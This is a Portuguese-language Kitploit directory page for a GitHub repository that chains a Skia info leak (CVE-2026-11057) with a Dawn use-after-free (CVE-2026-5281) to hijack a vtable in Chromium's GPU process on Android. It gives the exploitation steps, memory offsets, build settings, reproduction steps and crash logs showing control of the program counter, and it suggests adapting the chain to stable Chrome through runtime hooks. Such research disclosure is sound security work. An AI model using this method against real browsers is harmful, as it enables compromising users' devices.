Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/jaf0rk/cve-2026-5281-cve-2026-11057-fullchain
Segurança AndroidFrameworks de ExploraçãoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança MóvelExploração de Binários
GitHubjaf0rk/cve-2026-5281-cve-2026-11057-fullchain

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-5281-CVE-2026-11057-fullchain

Exploit de cadeia completa para Android Chromium que combina a fuga de informação CVE-2026-11057 e o use-after-free CVE-2026-5281 para alcançar sequestro de vtable e execução arbitrária de código.

Ver Repositório
1há 2 diasAinda não revisado

CVE-2026-5281+CVE-2026-11057 Android fullchain

Dispositivo

Pixel 7 Android 16 ARM64

Versão do Chromium

root@kitploit:~
commit 994c846bbd7a35241ba7c08158c13d66412a6993 (HEAD -> 146.0.7680.111, tag: 146.0.7680.111)
Author: Roger McFarlane <[email protected]>
Date:   Mon Mar 9 12:48:07 2026 -0700

Descrição

Abordagem de exploração

Este repositório combina CVE-2026-11057 (memória de imagem de glifo não inicializada no Skia) e CVE-2026-5281 (use-after-free do DeviceInfo no servidor wire do Dawn) em uma cadeia completa. Todas as modificações são no lado do renderizador; o código do processo GPU permanece inalterado:

  1. Vazamento de informações (CVE-2026-11057) — Dispara um buffer de imagem de glifo não inicializado via renderização de texto em canvas, lê de volta ponteiros do heap do processo GPU, valida-os com execuções aritméticas, deriva a base do pool do PartitionAlloc e calcula o alvo fake do Server M = POOL + 0x202A08000 (offset calibrado).

  2. Spray de CC — createBuffer(label="CCM:<m>:<n>") dispara a injeção de 3000 ChunkedCommands incompletos (bucket de 10KB, remainingSize=1, mantidos vivos no mChunkedCommands do servidor wire). O payload preenche a região ao redor de M com um Server fake projetado para Android arm64: vptr MutexProtected em +0xB20, ChunkedCommandSerializer em +0xB50/+0xB58, CommandSerializer/vtable fake em +0xC00/+0xD00.

  3. Gatilho 5281 + ocupação — queue.writeBuffer(buffer, 0x414141, ...) primeiro chama Unregister(Device) para liberar o DeviceInfo de 16 bytes, depois injeta um ChunkedCommand de ocupação de 16 bytes para recuperar esse slot e sobrescrever info->server com M, e finalmente dispara um erro de validação com um offset fora dos limites.

  4. Callback pendente → sequestro de vtable — O callback de erro não capturado desreferencia info->server = M (Server fake): os mutexes zerados passam, a execução alcança OnUncapturedError → SerializeCommand, e a chamada indireta relativa à vtable atinge nossa vtable fake, resultando em pc = fake_vtable + offset int32 controlado, demonstrado por pc = 0x7641414141.

Nota: O Chromium Android arm64 usa vtables relativas (-fexperimental-relative-c++-abi-vtables); as entradas da vtable são offsets relativos de 32 bits em vez de ponteiros de função absolutos, então o PoC usa um offset int32 controlado como marcador no ponto de sequestro de vtable.

No dispositivo de teste, a cadeia completa atinge o crash de sequestro de vtable com uma taxa de sucesso de quase 100%; o estágio de vazamento pode ocasionalmente exigir vários recarregamentos automáticos antes de ter sucesso.

Funções dos arquivos

  • SkStrike.cpp.patch — Gatilho de vazamento CVE-2026-11057. FlattenGlyphsByType() reescreve o payload do strike para que o processo GPU crie um SkGlyph com fImage == nullptr, eventualmente lendo um buffer de imagem não inicializado para vazar ponteiros do heap.
  • Device.cpp.patch — Spray de CC no cliente wire do Dawn. APICreateBuffer() analisa o rótulo CCM:, constrói o payload do Server fake para Android arm64 e injeta N ChunkedCommands incompletos que permanecem vivos no processo GPU.
  • ApiProcs.cpp.patch — Gatilho CVE-2026-5281 + ocupação. No offset mágico 0x414141 do QueueWriteBuffer, chama Unregister(Device) para liberar DeviceInfo, injeta um ChunkedCommand de 16 bytes para recuperar o slot e definir , e então prossegue com um offset fora dos limites para disparar o callback pendente.

Escopo de divulgação

Este ExP é divulgado apenas até a etapa de sequestro de vtable (alvo de chamada indireta controlado, pc = base+0x41414141). As etapas a partir do salto controlado, bem como a implementação do RCE, são mantidas confidenciais e não estão incluídas neste repositório.

Build args.gn

root@kitploit:~
# Set build arguments here. See `gn help buildargs`.
is_official_build = true
is_debug = false
symbol_level = 0
v8_symbol_level = 0
blink_symbol_level = 0
is_component_build = false  
proprietary_codecs = true   
ffmpeg_branding = "Chrome"  
dcheck_always_on =false
optimize_webui = true
android_static_analysis = "off"
target_os = "android"
target_cpu = "arm64"

# Disable PartitionAllocEventuallyZeroFreedMemory
disable_fieldtrial_testing_config = true

treat_warnings_as_errors = false

Reprodução

  1. cd third_party/dawn
  2. git apply ApiProcs.cpp.patch
  3. git apply Device.cpp.patch
  4. cd ../skia
  5. git apply SkStrike.cpp.patch
  6. Compile o chromium
  7. Abra o Chrome em um dispositivo Android e execute exploit.html
  8. Execute adb logcat | grep DEBUG no PC

Nota

  1. Cuidado com a armadilha do PartitionAllocEventuallyZeroFreedMemory. Quando habilitado, ele eventualmente zera a memória liberada. Esse recurso está desabilitado por padrão. Em builds Stable oficiais, ele é controlado pelo Finch do Google (teste de campo no servidor) e o Google geralmente não o ativa para a população em geral. No entanto, ele é frequentemente habilitado em builds locais / não oficiais e nos canais oficiais Dev/Canary (especialmente quando as configurações de teste de campo estão ativas). Esta é uma pegadinha comum ao desenvolver ou testar exploits contra builds não Stable.
  2. Acesse exploit.html via endereço de loopback 127.0.0.1. Caso contrário, o HTTP será tratado como não confiável e o WebGPU não funcionará

Stack de crash

Stack do exploit atual:

root@kitploit:~
~$ adb logcat | grep DEBUG
06-11 20:51:46.100 11269 11269 F DEBUG   : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
06-11 20:51:46.100 11269 11269 F DEBUG   : Build fingerprint: '[REDACTED]'
06-11 20:51:46.100 11269 11269 F DEBUG   : Revision: 'MP1.0'
06-11 20:51:46.100 11269 11269 F DEBUG   : ABI: 'arm64'
06-11 20:51:46.100 11269 11269 F DEBUG   : Timestamp: 2025-06-11 20:51:45.949325765+0800
06-11 20:51:46.100 11269 11269 F DEBUG   : Process uptime: 3s
06-11 20:51:46.100 11269 11269 F DEBUG   : Cmdline: org.chromium.chrome:privileged_process0
06-11 20:51:46.100 11269 11269 F DEBUG   : pid: 11188, tid: 11211, name: CrGpuMain  >>> org.chromium.chrome:privileged_process0 <<<
06-11 20:51:46.100 11269 11269 F DEBUG   : uid: 10309
06-11 20:51:46.100 11269 11269 F DEBUG   : tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
06-11 20:51:46.100 11269 11269 F DEBUG   : signal 7 (SIGBUS), code 1 (BUS_ADRALN), fault addr 0x0000007641414141
06-11 20:51:46.100 11269 11269 F DEBUG   :     x0  0000007602a08b20  x1  0000007b272cd808  x2  0000000000000002  x3  00000076000f5c40
06-11 20:51:46.100 11269 11269 F DEBUG   :     x4  00000000000000b1  x5  000000760148b520  x6  0000000001414d4c  x7  0000007e7db19004
06-11 20:51:46.100 11269 11269 F DEBUG   :     x8  0000007b272cd790  x9  0000007641414141  x10 0000000000000000  x11 0000000000000001
06-11 20:51:46.100 11269 11269 F DEBUG   :     x12 0000000000000000  x13 0000000000000002  x14 0000007e7d733040  x15 0000000000000000
06-11 20:51:46.100 11269 11269 F DEBUG   :     x16 0000007b230ada10  x17 0000007e66d55520  x18 0000007b25fd8000  x19 0000007602a08000
06-11 20:51:46.100 11269 11269 F DEBUG   :     x20 00000000000000b1  x21 00000076000f5c40  x22 0000000000000002  x23 0000007b272cd808
06-11 20:51:46.100 11269 11269 F DEBUG   :     x24 0000007602a08000  x25 0000007b230e7000  x26 0000007b1897c2c6  x27 0000000000000006
06-11 20:51:46.100 11269 11269 F DEBUG   :     x28 0000007b22fa7728  x29 0000007b272cd7c0
06-11 20:51:46.100 11269 11269 F DEBUG   :     lr  0000007b20309184  sp  0000007b272cd770  pc  0000007641414141  pst 0000000060001000
06-11 20:51:46.100 11269 11269 F DEBUG   : 36 total frames
06-11 20:51:46.100 11269 11269 F DEBUG   : backtrace:
06-11 20:51:46.100 11269 11269 F DEBUG   :       #00 pc 000000003dd8c141  [anon:partition_alloc]
06-11 20:51:46.100 11269 11269 F DEBUG   :       #01 pc 00000000084ac180  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #02 pc 00000000084ab1fc  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #03 pc 0000000002a1988c  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #04 pc 0000000002a36b4c  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #05 pc 00000000029de990  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #06 pc 00000000084ae164  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #07 pc 00000000084956b8  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #08 pc 0000000008dd61f0  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #09 pc 0000000008dd6300  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #10 pc 0000000008dd3dd0  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #11 pc 00000000065fe184  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #12 pc 00000000065fd1dc  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #13 pc 00000000065faf6c  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #14 pc 00000000065fac54  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #15 pc 0000000005a63054  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #16 pc 00000000065ff294  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #17 pc 000000000547e288  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #18 pc 00000000058de7ec  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #19 pc 0000000005d66b70  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #20 pc 000000000633da58  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #21 pc 00000000063431e8  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #22 pc 0000000007a2eb60  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #23 pc 0000000007a2e730  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #24 pc 0000000007a2dd14  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #25 pc 0000000007a2da24  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #26 pc 000000000033f500  /apex/com.android.art/lib64/libart.so (art_quick_generic_jni_trampoline+144) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #27 pc 0000000000689588  /apex/com.android.art/lib64/libart.so (nterp_helper+152) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #28 pc 00000000002890ec  /data/app/.../base.apk (offset 0x1ec6000) (qf1.run+560)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #29 pc 00000000000a94f0  /system/framework/arm64/boot.oat (java.lang.Thread.run+64) (BuildId: f7dcc0c41d7298598dd50b6df5fbdd67cef62829)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #30 pc 0000000000328194  /apex/com.android.art/lib64/libart.so (art_quick_invoke_stub+612) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #31 pc 00000000002d9348  /apex/com.android.art/lib64/libart.so (art::ArtMethod::Invoke(art::Thread*, unsigned int*, unsigned int, art::JValue*, char const*)+216) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #32 pc 0000000000421028  /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallback(void*)+932) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #33 pc 0000000000420c74  /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallbackWithUffdGc(void*)+8) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #34 pc 0000000000080e6c  /apex/com.android.runtime/lib64/bionic/libc.so (__pthread_start(void*)+236) (BuildId: 56d1c072e220860e239a4a1824a78f97)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #35 pc 00000000000736d0  /apex/com.android.runtime/lib64/bionic/libc.so (__start_thread+64) (BuildId: 56d1c072e220860e239a4a1824a78f97)

Stack do exploit completo (Salto para um endereço arbitrário de 64 bits):

root@kitploit:~
~$ adb logcat | grep DEBUG
06-12 01:02:33.858 17983 17983 F DEBUG   : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
06-12 01:02:33.858 17983 17983 F DEBUG   : Build fingerprint: 'google/panther/panther:16/.../release-keys'
06-12 01:02:33.858 17983 17983 F DEBUG   : Revision: 'MP1.0'
06-12 01:02:33.858 17983 17983 F DEBUG   : ABI: 'arm64'
06-12 01:02:33.858 17983 17983 F DEBUG   : Timestamp: 2025-06-12 01:02:33.719427351+0800
06-12 01:02:33.858 17983 17983 F DEBUG   : Process uptime: 151s
06-12 01:02:33.858 17983 17983 F DEBUG   : Cmdline: org.chromium.chrome:privileged_process2
06-12 01:02:33.858 17983 17983 F DEBUG   : pid: 17875, tid: 17891, name: CrGpuMain  >>> org.chromium.chrome:privileged_process2 <<<
06-12 01:02:33.858 17983 17983 F DEBUG   : uid: 10309
06-12 01:02:33.858 17983 17983 F DEBUG   : tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
06-12 01:02:33.858 17983 17983 F DEBUG   : signal 7 (SIGBUS), code 1 (BUS_ADRALN), fault addr 0x0041414141414141
06-12 01:02:33.858 17983 17983 F DEBUG   :     x0  0000007602a08b68  x1  0000007b272cd808  x2  0000000000000002  x3  00000076000c9f40
06-12 01:02:33.858 17983 17983 F DEBUG   :     x4  00000000000000b1  x5  0000007600024c40  x6  0000000001414d4c  x7  0000007e7db19004
06-12 01:02:33.858 17983 17983 F DEBUG   :     x8  4141414141414141  x9  0000007b76d934a0  x10 0000000000000000  x11 0000000000000001
06-12 01:02:33.858 17983 17983 F DEBUG   :     x12 0000000000000000  x13 0000000000000002  x14 0000007e7d733040  x15 0000000000000000
06-12 01:02:33.858 17983 17983 F DEBUG   :     x16 0000007b24f19ab0  x17 0000007e66d55520  x18 0000007b266dc000  x19 0000007602a08000
06-12 01:02:33.858 17983 17983 F DEBUG   :     x20 00000000000000b1  x21 00000076000c9f40  x22 0000000000000002  x23 0000007b272cd808
06-12 01:02:33.858 17983 17983 F DEBUG   :     x24 0000007602a08000  x25 0000007b24f53000  x26 0000007b1a7e82c6  x27 0000000000000006
06-12 01:02:33.858 17983 17983 F DEBUG   :     x28 0000007b24e137c8  x29 0000007b272cd7c0
06-12 01:02:33.858 17983 17983 F DEBUG   :     lr  0000007b76d934b0  sp  0000007b272cd770  pc  0041414141414141  pst 0000000060001000
06-12 01:02:33.858 17983 17983 F DEBUG   : 3 total frames
06-12 01:02:33.858 17983 17983 F DEBUG   : backtrace:
06-12 01:02:33.858 17983 17983 F DEBUG   :       #00 pc 0041414141414141  <unknown>
06-12 01:02:33.858 17983 17983 F DEBUG   :       #01 pc 0000000000b0f4ac  /.....
06-12 01:02:33.858 17983 17983 F DEBUG   :       #02 pc 00000000001cdffc  [anon:partition_alloc]

No Chrome stable

Na versão estável do Chromium, aplicar patches diretamente pode não ser viável ou desejável. Portanto, você pode reescrever a lógica dos patches como funções de hook para interceptar e modificar as funções de processamento relevantes em tempo de execução.

Baixar ferramenta
info->server = M
  • exploit.html — Orquestração da página: primitiva de vazamento (groom/draw/readCell/verifyRuns/derivePoolBase), spray de CC e um gatilho exploit5281() independente; em caso de falha, limpa o estado do spray e recarrega para que os estágios não interfiram entre si.